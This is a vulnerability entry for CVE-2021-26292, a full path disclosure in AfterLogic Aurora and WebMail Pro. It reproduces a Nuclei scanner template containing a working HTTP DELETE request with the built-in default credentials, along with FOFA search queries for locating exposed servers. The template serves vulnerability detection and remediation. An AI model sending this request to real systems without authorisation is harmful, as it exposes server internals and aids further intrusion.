CVE-2021-26292: AfterLogic Aurora and WebMail Pro < 7.7.9 - Full Path Disclosure

2025-08-01 AfterLogic Aurora and WebMail Pro PoC Public

Description

AfterLogic Aurora and WebMail Pro products with 7.7.9 and all lower versions are affected by this vulnerability, simply sending an HTTP DELETE request to WebDAV EndPoint with built-in “caldav_public_user@localhost” and it’s the predefined password “caldav_public_user” allows the attacker to obtain web root path.

PoC

id: CVE-2021-26292

info:
  name: AfterLogic Aurora and WebMail Pro < 7.7.9 - Full Path Disclosure
  author: johnk3r
  severity: low
  description: |
    AfterLogic Aurora and WebMail Pro products with 7.7.9 and all lower versions are affected by this vulnerability, simply sending an HTTP DELETE request to WebDAV EndPoint with built-in “caldav_public_user@localhost” and it’s the predefined password “caldav_public_user” allows the attacker to obtain web root path.
  impact: |
    Attackers using hardcoded credentials can obtain the web root path, potentially aiding in further attacks.
  remediation: |
    Upgrade to AfterLogic Aurora or WebMail Pro version 7.7.10 or later.
  reference:
    - https://github.com/E3SEC/AfterLogic/blob/main/CVE-2021-26292-full-path-disclosure-vulnerability.md
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26292
  classification:
    cve-id: CVE-2021-26292
  metadata:
    verified: true
    max-request: 1
    vendor: AfterLogic
    product: AfterLogic Aurora & WebMail
    fofa-query:
      - "X-Server: AfterlogicDAVServer"
      - "x-server: afterlogicdavserver"
  tags: cve2021,cve,afterlogic,path,disclosure,AfterLogic,vuln

http:
  - raw:
      - |
        DELETE /dav/server.php/files/personal/GIVE_ME_ERROR_TO_GET_DOC_ROOT_2021 HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic Y2FsZGF2X3B1YmxpY191c2VyQGxvY2FsaG9zdDpjYWxkYXZfcHVibGljX3VzZXI

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "caldav_public_user"
          - "GIVE_ME_ERROR_TO_GET_DOC_ROOT_2021"
        condition: and

      - type: word
        part: header
        words:
          - "application/xml"

      - type: status
        status:
          - 404
# digest: 4b0a00483046022100be06c9d4f5ebb54eceb8aaf9f7f6fc18409ecd75267375d1c42e99e967e64c76022100966630e780c4685cd5159f84fcf72b0fae9325a3c2127b3f6c74de5bb572a335:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-26292.yaml

References

Related Vulnerabilities